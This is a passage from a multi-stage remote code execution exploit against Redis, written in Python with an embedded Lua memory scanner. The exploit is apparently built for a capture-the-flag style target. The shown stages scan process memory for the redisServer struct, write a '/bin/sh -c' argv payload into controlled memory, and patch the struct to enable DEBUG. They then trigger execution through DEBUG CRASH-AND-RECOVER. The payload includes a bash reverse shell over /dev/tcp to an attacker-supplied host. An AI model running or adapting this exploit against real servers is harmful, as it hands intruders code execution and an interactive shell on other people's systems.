local scan_len = tonumber(ARGV[5]) -- 0 means need to probe
local pos = tonumber(ARGV[6]) -- current position within readable region
-- Helper to convert byte array to string
local function ptr_to_str(p)
local s = ""
for i = 1, 8 do
s = s .. string.char(p[i])
end
return s
end
-- Increment byte array by amount (base-256 arithmetic)
local function ptr_add(p, amount)
local carry = amount
for i = 1, 8 do
local sum = p[i] + carry
p[i] = sum % 256
carry = math.floor(sum / 256)
if carry == 0 then break end
end
end
-- Check if 8 bytes at offset are a heap/mmap address (byte-level check)
-- Heap/mmap addresses: 0x00006X-0x00007X range (covers heap, mmap, libraries)
-- In little-endian: bytes[8]=0, bytes[7]=0, bytes[6] in [0x60..0x7f]
local function is_heap_bytes(data, offset)
local b8 = string.byte(data, offset + 8) -- MSB (byte index 7, 0-based)
local b7 = string.byte(data, offset + 7) -- byte index 6
local b6 = string.byte(data, offset + 6) -- byte index 5
if not b8 or not b7 or not b6 then return false end
if b8 ~= 0 then return false end
if b7 ~= 0 then return false end
-- byte[5] should be 0x60-0x7f for heap/mmap addresses
-- This excludes PIE binary (0x55-0x56) and other ranges
if b6 < 0x60 or b6 > 0x7f then return false end
return true
end
-- Check if 8 bytes are all zero
local function is_zero_bytes(data, offset)
for i = 1, 8 do
local b = string.byte(data, offset + i)
if not b or b ~= 0 then return false end
end
return true
end
-- Check PID field: nonzero in low 4 bytes, zero in high 4 bytes
local function is_valid_pid(data, offset)
-- High 4 bytes must be zero
for i = 5, 8 do
local b = string.byte(data, offset + i)
if not b or b ~= 0 then return false end
end
-- Low 4 bytes must have at least one nonzero
local has_nonzero = false
for i = 1, 4 do
local b = string.byte(data, offset + i)
if not b then return false end
if b ~= 0 then has_nonzero = true end
end
return has_nonzero
end
-- Check hz field: nonzero, bits 16-31 and 48-63 must be zero
-- In little-endian bytes:
-- bytes 1-2 = bits 0-15 (can be anything)
-- bytes 3-4 = bits 16-31 (must be zero)
-- bytes 5-6 = bits 32-47 (can be anything)
-- bytes 7-8 = bits 48-63 (must be zero)
local function is_valid_hz(data, offset)
-- Bytes 3-4 (bits 16-31) must be zero
local b3 = string.byte(data, offset + 3)
local b4 = string.byte(data, offset + 4)
if not b3 or not b4 then return false end
if b3 ~= 0 or b4 ~= 0 then return false end
-- Bytes 7-8 (bits 48-63) must be zero
local b7 = string.byte(data, offset + 7)
local b8 = string.byte(data, offset + 8)
if not b7 or not b8 then return false end
if b7 ~= 0 or b8 ~= 0 then return false end
-- Must be nonzero overall
local has_nonzero = false
for i = 1, 8 do
local b = string.byte(data, offset + i)
if b and b ~= 0 then has_nonzero = true; break end
end
return has_nonzero
end
-- Validate server struct at offset in data (all byte-level)
local function validate(data, offset)
-- Need 64 bytes (8 fields * 8 bytes)
if offset + 64 > #data then return false end
-- Field 0: PID (nonzero 32-bit value)
if not is_valid_pid(data, offset) then return false end
-- Field 1: heap address
if not is_heap_bytes(data, offset + 8) then return false end
-- Field 2: NULL or heap
if not is_zero_bytes(data, offset + 16) and not is_heap_bytes(data, offset + 16) then
return false
end
-- Field 3: heap (executable)
if not is_heap_bytes(data, offset + 24) then return false end
-- Field 4: heap (argv)
if not is_heap_bytes(data, offset + 32) then return false end
-- Field 5: hz pattern
if not is_valid_hz(data, offset + 40) then return false end
-- Field 6: hz pattern
if not is_valid_hz(data, offset + 48) then return false end
return true
end
for iter = 0, max_iters - 1 do
-- If scan_len is 0, we need to probe the current ptr
if scan_len == 0 then
-- Set pointer to current ptr
redis.call("SETRANGE", memview_key, ptr_offset, ptr_to_str(ptr))
-- Get length of readable region
scan_len = redis.call("STRLEN", controlled_key)
-- Invalid region, advance by 1 and reset
if scan_len <= 0 then
ptr_add(ptr, 1)
scan_len = 0
pos = 0
else
pos = 0 -- Start scanning from beginning
end
end
-- If we have a valid scan_len, read and scan a chunk
if scan_len > 0 and pos < scan_len then
local end_pos = math.min(pos + chunk_size, scan_len)
local data = redis.call("GETRANGE", controlled_key, tostring(pos), tostring(end_pos - 1))
-- Search for server struct in this chunk
for i = 0, #data - 64 do
if validate(data, i) then
-- Found! Calculate absolute address
local result_ptr = {}
for j = 1, 8 do result_ptr[j] = ptr[j] end
ptr_add(result_ptr, pos + i)
return {"FOUND", ptr_to_str(result_ptr), ptr_to_str(ptr), iter + 1}
end
end
-- Advance position within this readable region
pos = end_pos
-- If we've exhausted this region, advance ptr and reset
if pos >= scan_len - 64 then
ptr_add(ptr, math.max(scan_len - 64, 1))
scan_len = 0
pos = 0
end
end
end
-- Return state for continuation
return {"CONTINUE", ptr_to_str(ptr), max_iters, tostring(scan_len), tostring(pos)}
"""
scan_ptr = ctx.binary_ptr
scan_len = 0 # 0 means need to probe
pos = 0 # position within current readable region
total_iterations = 0
max_total_iterations = 100000000
while total_iterations < max_total_iterations:
if total_iterations % 1000 == 0:
log_info("SCAN", f"ptr={scan_ptr:016x}, scan_len={scan_len}, pos={pos}, iter={total_iterations}")
# Pass full state to Lua
result = ctx.redis.send_command([
"EVAL", lua_server_scan_script, "0",
ctx.memview_key,
ctx.controlled_key,
str(ctx.controlled_ptr_offset),
p64(scan_ptr), # Current pointer
str(scan_len), # Current scan length (0 = need probe)
str(pos) # Current position in readable region
])
status = result[0].decode('utf-8') if isinstance(result[0], bytes) else result[0]
if status == "FOUND":
struct_addr = u64(result[1])
readable_ptr = u64(result[2])
iterations = int(result[3])
total_iterations += iterations
log_milestone("FOUND", f"Server struct found and validated at {struct_addr:016x}")
log_debug("PTR", f"Readable via pointer: {readable_ptr:016x}, offset: {struct_addr - readable_ptr:016x}")
log_info("STATS", f"Total iterations: {total_iterations}")
return struct_addr, readable_ptr
elif status == "CONTINUE":
scan_ptr = u64(result[1])
iterations = int(result[2])
scan_len = int(result[3])
pos = int(result[4])
total_iterations += iterations
else:
raise RuntimeError(f"[STAGE {CURRENT_STAGE}] Unexpected Lua result status: {status}")
raise RuntimeError(f"[STAGE {CURRENT_STAGE}] Failed to find server struct after {total_iterations} iterations")
def _stage5_locate_server_struct_python(ctx: ExploitContext) -> Tuple[int, int]:
"""Scan for redisServer struct using Python (fallback, slower)."""
log_start("SCAN", f"Starting server struct scan from binary address {ctx.binary_ptr:016x}")
memview_key = ctx.memview_key
controlled_key = ctx.controlled_key
controlled_ptr_offset = ctx.controlled_ptr_offset
scan_start_addr = ctx.binary_ptr
scan_ptr = scan_start_addr
iterations = 0
while True:
iterations += 1
log_debug("PROGRESS", f"Scanning at {scan_ptr:016x}, iteration {iterations}")
ctx.redis.send_command(["SETRANGE", memview_key, str(controlled_ptr_offset), p64(scan_ptr)])
scan_len = int(ctx.redis.send_command(["STRLEN", controlled_key]))
if scan_len <= 0 or scan_len >= 1 << 63:
scan_ptr += 1
continue
max_read = 4096
pos = 0
while pos < scan_len:
end_pos = min(pos + max_read, scan_len)
data = ctx.redis.send_command(["GETRANGE", controlled_key, str(pos), str(end_pos - 1)])
for i in range(0, len(data) - 64):
struct_candidate_addr = scan_ptr + pos + i
if _stage5_validate_server_struct_candidate(ctx, data, i):
log_milestone("FOUND", f"Server struct found and validated at {struct_candidate_addr:016x}")
log_debug("PTR", f"Readable via pointer: {scan_ptr:016x}, offset: {struct_candidate_addr - scan_ptr:016x}")
return struct_candidate_addr, scan_ptr
pos = end_pos
scan_ptr += max(scan_len - 64, 1)
def stage5_locate_server_struct(args: argparse.Namespace, ctx: ExploitContext) -> None:
"""
Find redisServer struct by field signature matching.
Scans binary data section for 7-field signature: PID (32-bit non-zero),
thread handle (heap), configfile (NULL or heap), executable (heap),
argv (heap), and two small hz values.
Returns two values: struct address and readable pointer (needed for stage7
because struct address itself may not have valid SDS header).
Two implementations:
- Lua (default): Uses state machine to avoid timeout, faster
- Python (--no-stage5-lua-helper): Per-probe scanning
See STAGE5.md for full technical details.
"""
assert ctx.redis is not None, f"[STAGE {CURRENT_STAGE}] Must connect to Redis first (stage0)"
assert ctx.binary_ptr is not None, f"[STAGE {CURRENT_STAGE}] Must complete stage4 first"
if args.no_stage5_lua_helper:
log_info("SCAN", "Using Python implementation (Lua disabled)")
ctx.server_struct_addr, ctx.server_readable_ptr = _stage5_locate_server_struct_python(ctx)
else:
log_info("SCAN", "Using Lua implementation")
ctx.server_struct_addr, ctx.server_readable_ptr = _stage5_locate_server_struct_lua(ctx)
###############################################################################
# Stage 6: Construct Payload
###############################################################################
def _stage6_create_additional_payload(args: argparse.Namespace, ctx: ExploitContext):
RED = "\033[31m"
RESET = "\033[0m"
banner = f"""
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣀⣀⣠⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠋⠉⠁⠀⠀⠀⠀⠀⠉⠓⢦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠞⢉⡳⡜⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠃⢀⡾⣷⢹⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⠀⢸⢃⣼⣾⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⣆⠀⠀⠀⠀⢀⣀⡀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢾⣦⣈⣹⠿⠹⣆⠀⠀⠀⠀⠀⠀⢀⡤⠖⠚⠉⠿⡿⣿⣿⣷⣶⣤⣤⣞⣦⠀⠀⢠⠞⠁⣿⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⠃⠀⠈⢷⡀⠉⠓⠀⠀⠀⠀⢠⡟⠀⠀⠀⠀⣋⣁⣀⣀⡉⠛⠯⣬⣥⠾⠻⣶⡋⠀⠀⣏⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡼⠃⠀⠀⠀⣨⡇⠀⠀⠀⠀⠀⠀⠸⠀⠀⠀⣴⣿⠟⠋⠉⠛⠿⣷⡄⠀⠀⠀⠀⣠⣭⣄⠀⣷⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⠟⠁⠀⠀⠀⠀⠀⠹⣷⠀⠀⢠⣾⡟⠹⡏⠉⠁⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡾⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⡀⠀⠀⠀⠿⠀⠀⣸⠋⠀⠀⡇⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⡀⠤⢤⡤⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣘⣉⣉⡙⣆⠀⠀⠀⠀⣰⡷⠤⢤⣠⠇⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢀⣠⠴⠛⠉⢁⣀⠤⠞⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡆⠀⢯⡁⠀⢰⣿⡏⠀⠀⠀⢠⣿⠿⢒⣶⠃⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⣠⡴⠋⠀⢀⣤⡾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢦⡈⠛⠤⣤⠝⠁⠀⠀⠀⣿⣷⡄⠸⣿⡆⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣠⠞⠋⠀⠀⢀⣾⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠓⠒⠛⠀⠀⠀⠀⠀⠙⢿⣿⣷⡇⣷⡀⠀⠀⠀⠀⠀⠀
⠤⠴⠚⠁⠀⠀⠀⠀⡞⠙⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠀⠀⠀⠀⠀⠀⠻⣄⠀⣿⢳⡀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢷⢰⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡾⠉⠀⠀⠀⠀⠀⠀⠀⢸⡇⡇⠈⢷⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡀⣠⣤⡀⠀⠀⠀⠀⠀⣼⢷⡇⠀⠈⡆⠀⠀⠀⠀ {RED}P W N E D{RESET}
⡀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡀⠀⠙⠛⠻⢿⣄⠀⠀⢀⡴⣫⡾⠀⠀⠀⢷⡄⠀⠀⠀
⢳⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⢿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠞⠋⠀⠀⠀⠀⠀⠀⠈⠉⠉⠉⣴⠛⠀⠀⠀⠀⢸⠳⣄⠀⠀
⠈⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⣇⢳⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠞⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡇⠀⠀⠀⠀⠀⣼⠄⠹⡄⠀ {RED}B Y{RESET}
⠀⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣆⠻⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡞⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⠃⠀⠀⠀⠀⠀⡟⠀⠀⡇⠀
⠀⢸⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⣦⢹⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⡏⠀⠐⠒⠒⠒⠒⠒⠒⠦⢤⣀⣀⣀⣠⣰⠃⠀⠀⠀⠀⠀⠀⡇⠀⠀⢹⠀
⠀⠘⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⣆⠻⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⠇⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⢸⠂ {RED}Emil Lerner{RESET}
⠀⠀⢱⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣇⢹⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⠏⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⢸⡆
⠀⠀⠸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢦⠹⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⢸⠇
⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢳⡈⠳⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡟⠀⠀⢸⠀
⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢦⡈⠙⠶⣄⠀⠀⠀⠀⠀⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡇⠀⠀⢸⠀
⠀⠀⠠⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣆⠀⠈⠳⣤⠀⠀⠀⠀⠙⠶⠤⣀⣀⣀⣀⣠⡤⠶⠞⢹⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠄⠀⠀⡏⠀
⠀⠀⢸⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⡄⠀⠈⠓⠦⠤⢤⣀⣀⡤⠤⠤⠛⠛⠁⠀⠀⢠⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡟⠀⠀⢠⡇⠀
⠀⢠⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⡗⠀⠀⣸⡆⠀
⢀⡾⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠃⠀⠀⡿⠀⠀
⡞⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⢠⡬⣷⣀⠀⠀⠀⠀⠀⠀⠀⣰⠟⠀⢀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡾⠆⠀⢸⠃⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣁⡽⠀⠳⣤⣈⠙⠒⠲⠤⠤⠴⢞⣿⣭⠭⠿⠟⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⡾⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⢀⡾⠉⠙⠒⡆⢀⣤⣷⡏⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⠇⠀⠀⡇⠀⠀⠀
"""
gzipped_banner = gzip.compress(banner.encode('utf-8'))
base64_banner = base64.b64encode(gzipped_banner).decode('utf-8')
additional_cmd = f"echo {base64_banner}|base64 -d|gunzip|tee /tmp/win.txt"
return additional_cmd
def _stage6_create_payload_in_memview(args: argparse.Namespace, ctx: ExploitContext):
"""Create malicious argv array in memview with self-referential pointers."""
key_memview = ctx.memview_key
memview_base = ctx.memview_base_addr
# Use backconnect address from context (set before stage1)
backconnect_addr = ctx.backconnect_addr
backconnect_port = ctx.backconnect_port
if backconnect_addr is not None:
backconnect_cmd = f"exec 3<>/dev/tcp/{backconnect_addr}/{backconnect_port};bash -i <&3 >&3 2>&3"
backconnect_cmd = f"bash -c '{backconnect_cmd}'"
log_info("PAYLOAD", f"Using backconnect to {backconnect_addr}:{backconnect_port}")
else:
backconnect_cmd = 'echo "pwned"'
log_info("PAYLOAD", "No backconnect configured")
additional_cmd = _stage6_create_additional_payload(args, ctx)
cmd_args = [
b"/bin/sh\x00",
b"-c\x00",
f"/flag.sh redis;/flag.sh nginx;touch /tmp/pwned;{additional_cmd};{backconnect_cmd};sleep 5\x00".encode('utf-8')
]
cmd = cmd_args[2].decode('utf-8', errors='replace').rstrip('\x00')
log_start("BUILD", f"Building malicious payload with command: {cmd[:80]} (len={len(cmd)})...")
initial_payload_offset = payload_offset = 0
addrs = []
payload = []
for arg in cmd_args:
addrs.append(memview_base + payload_offset)
payload.append(arg)
payload_offset += len(arg)
addrs.append(0)
# Set argv[0] to NULL so zfree() is no-op; restartServer() replaces with executable
addrs[0] = 0
argv_array_addr = memview_base + payload_offset
payload.append(struct.pack("<" + "Q" * len(addrs), *addrs))
payload = b"".join(payload)
ctx.redis.send_command(["SETRANGE", key_memview, str(initial_payload_offset), payload])
binsh_addr = memview_base + initial_payload_offset
log_milestone("WRITE", f"Payload written to memview - executable={binsh_addr:016x}, argv={argv_array_addr:016x}")
return binsh_addr, argv_array_addr
def stage6_construct_payload(args: argparse.Namespace, ctx: ExploitContext) -> None:
"""
Build malicious argv array in memview.
Layout: "/bin/sh", "-c", command string, then pointer array.
Self-referential pointers (pointing within memview) work because
stage3 calculated the memview base address.
argv[0] is set to NULL so zfree() in restartServer() is a no-op.
restartServer() will replace it with zstrdup(server.executable).
See STAGE6.md for full technical details.
"""
assert ctx.redis is not None, f"[STAGE {CURRENT_STAGE}] Must connect to Redis first (stage0)"
assert ctx.memview_base_addr is not None, f"[STAGE {CURRENT_STAGE}] Must complete stage3 first"
ctx.payload_executable_addr, ctx.payload_argv_addr = _stage6_create_payload_in_memview(args, ctx)
###############################################################################
# Stage 7: Patch Server Struct
###############################################################################
def _stage7_find_server_start_time_offset(data: bytes, SDS_DELTA: int) -> int:
"""
Find server.start_time offset by searching for timestamp pattern.
Looks for:
- Unix timestamp (within 30 days of current time)
- Followed by two nonzero values < 2^24
Returns the offset where the pattern is found.
"""
log_start("SEARCH", "Searching for server start time pattern")
real_unixtime = time.time()
allowed_delta = 60 * 60 * 24 * 30 # 30 days
for server_start_time_offset in range(200, len(data) - 24, 8):
candidate = data[server_start_time_offset - SDS_DELTA:server_start_time_offset+24-SDS_DELTA]
maybe_unixtime = int.from_bytes(candidate[:8], "little", signed=False)
maybe_non_zero_but_less_than_2_24_1 = int.from_bytes(candidate[8:16], "little", signed=False)
maybe_non_zero_but_less_than_2_24_2 = int.from_bytes(candidate[16:24], "little", signed=False)
# Check timestamp is reasonable
if abs(maybe_unixtime - real_unixtime) > allowed_delta:
continue
# Check both values are nonzero and < 2^24
if maybe_non_zero_but_less_than_2_24_1 == 0 or maybe_non_zero_but_less_than_2_24_1 >= 2 ** 24:
continue
if maybe_non_zero_but_less_than_2_24_2 == 0 or maybe_non_zero_but_less_than_2_24_2 >= 2 ** 24:
continue
log_milestone("FOUND", f"Server start time pattern at offset {server_start_time_offset:016x}")
return server_start_time_offset
raise AssertionError(f"[STAGE {CURRENT_STAGE}] Failed to find in-server-struct pattern")
def _stage7_patch_redis_server(args: argparse.Namespace, ctx: ExploitContext):
"""Patch redisServer struct: executable, exec_argv, and enable_debug_cmd."""
log_start("PATCH", "Patching server struct to enable arbitrary write")
key_memview = ctx.memview_key
float_key = ctx.controlled_key
float_offset = ctx.controlled_ptr_offset
ptr_to_set_for_server_struct_be_accessible = ctx.server_readable_ptr
server_addr = ctx.server_struct_addr
executable_addr = ctx.payload_executable_addr
argv_array_addr = ctx.payload_argv_addr
# Setup pointer to make server struct accessible via float key
ctx.redis.send_command(["SETRANGE", key_memview, str(float_offset), p64(ptr_to_set_for_server_struct_be_accessible)])
# Zero encoding byte to prevent copy-on-write (CRITICAL - see STAGE7.md)
ctx.redis.send_command(["SETRANGE", key_memview, str(float_offset - 8), b"\x00"])
len_float = ctx.redis.send_command(["STRLEN", float_key])
log_debug("SETUP", f"Float key length after pointer setup: {len_float}")
# Forge temporary sdshdr16 header at server struct start (corrupts pid field, but ok)
ctx.redis.send_command(["SETRANGE", float_key, str(server_addr - ptr_to_set_for_server_struct_be_accessible), b"\x7f\x7f\x7f\x7f\x02"])
# Adjust pointer past the forged SDS header (all offsets must account for this)
SDS_DELTA = 5 # sizeof(sdshdr16)
ctx.redis.send_command(["SETRANGE", key_memview, str(float_offset), p64(server_addr + SDS_DELTA)])
strlen_float = ctx.redis.send_command(["STRLEN", float_key])
assert strlen_float == 0x7f7f, f"Unexpected float length: {strlen_float}"
# Write malicious pointers
log_milestone("WRITE", f"Writing malicious executable pointer: {executable_addr:016x}")
ctx.redis.send_command(["SETRANGE", float_key, str(ctx.EXECUTABLE_OFFSET - SDS_DELTA), p64(executable_addr)])
log_milestone("WRITE", f"Writing malicious argv array pointer: {argv_array_addr:016x}")
ctx.redis.send_command(["SETRANGE", float_key, str(ctx.ARGV_ARRAY_OFFSET - SDS_DELTA), p64(argv_array_addr)])
if args.enable_debug_cmd_offset is not None:
log_info("ENABLE", f"Using provided enable_debug_cmd offset: {args.enable_debug_cmd_offset}")
enable_debug_cmd_offset = args.enable_debug_cmd_offset
else:
log_info("ENABLE", "Finding enable_debug_cmd offset dynamically")
# Find enable_debug_cmd by locating start_time pattern (dynamic offset detection)
data = ctx.redis.send_command(["GETRANGE", float_key, "0", "4095"])
server_start_time_offset = _stage7_find_server_start_time_offset(data, SDS_DELTA)
enable_debug_cmd_offset = server_start_time_offset - 0x3c # Fixed offset from start_time
log_milestone("ENABLE", f"Found enable_debug_cmd offset: {enable_debug_cmd_offset}")
log_start("ENABLE", "Enabling DEBUG command access")
ctx.redis.send_command(["SETRANGE", float_key, str(enable_debug_cmd_offset - SDS_DELTA), b"\x01"])
log_milestone("SUCCESS", "Server struct successfully hijacked")
def stage7_patch_server_struct(args: argparse.Namespace, ctx: ExploitContext) -> None:
"""
Patch redisServer struct to hijack execution.
Critical steps:
1. Zero encoding byte (prevents copy-on-write in SETRANGE)
2. Forge temporary SDS header at struct start (corrupts pid, but ok)
3. Find enable_debug_cmd by scanning for start_time timestamp
4. Write: executable → "/bin/sh", exec_argv → argv array, enable_debug_cmd → 1
All offsets must account for SDS_DELTA (5 bytes for sdshdr16).
See STAGE7.md for full technical details.
"""
assert all([ctx.redis, ctx.controlled_key, ctx.controlled_ptr_offset,
ctx.server_struct_addr, ctx.server_readable_ptr,
ctx.payload_executable_addr, ctx.payload_argv_addr]), f"[STAGE {CURRENT_STAGE}] Must complete previous stages first"
_stage7_patch_redis_server(args, ctx)
###############################################################################
# Stage 8: Trigger Restart Server
###############################################################################
def _stage8_trigger_debug_crash_and_recover(ctx: ExploitContext):
"""Send DEBUG CRASH-AND-RECOVER command to trigger payload execution."""
log_start("TRIGGER", "Sending DEBUG CRASH-AND-RECOVER command")
try:
ctx.redis.send_command(["DEBUG", "CRASH-AND-RECOVER"])
except Exception as err:
log_debug("WARN", f"Expected exception while triggering debug crash and recover: {err}")
log_milestone("EXECUTE", "Exploit execution initiated, waiting for payload...")
def stage8_trigger_exploit(args: argparse.Namespace, ctx: ExploitContext) -> None:
"""
Trigger RCE via DEBUG CRASH-AND-RECOVER.
Sends DEBUG CRASH-AND-RECOVER which calls restartServer(), which:
1. Frees exec_argv[0] (our NULL → no-op)
2. Sets exec_argv[0] = zstrdup(server.executable) → "/bin/sh"
3. Calls execve(server.executable, server.exec_argv, environ)
Connection drops when Redis is replaced (expected behavior).
See STAGE8.md for full technical details.
"""
assert ctx.redis is not None, f"[STAGE {CURRENT_STAGE}] Must connect to Redis first (stage0)"
_stage8_trigger_debug_crash_and_recover(ctx)
###############################################################################
# Main
###############################################################################
def setup_backconnect(args: argparse.Namespace, ctx: ExploitContext) -> None:
"""
Set up backconnect after stage0 (Redis connection established).
Handles three cases:
- None: No backconnect (default)
- "auto": Auto-detect local IP from Redis connection
- IP address: Use provided address
Then sets up the listener socket.
"""
backconnect_addr = args.backconnect_addr
backconnect_port = args.backconnect_port
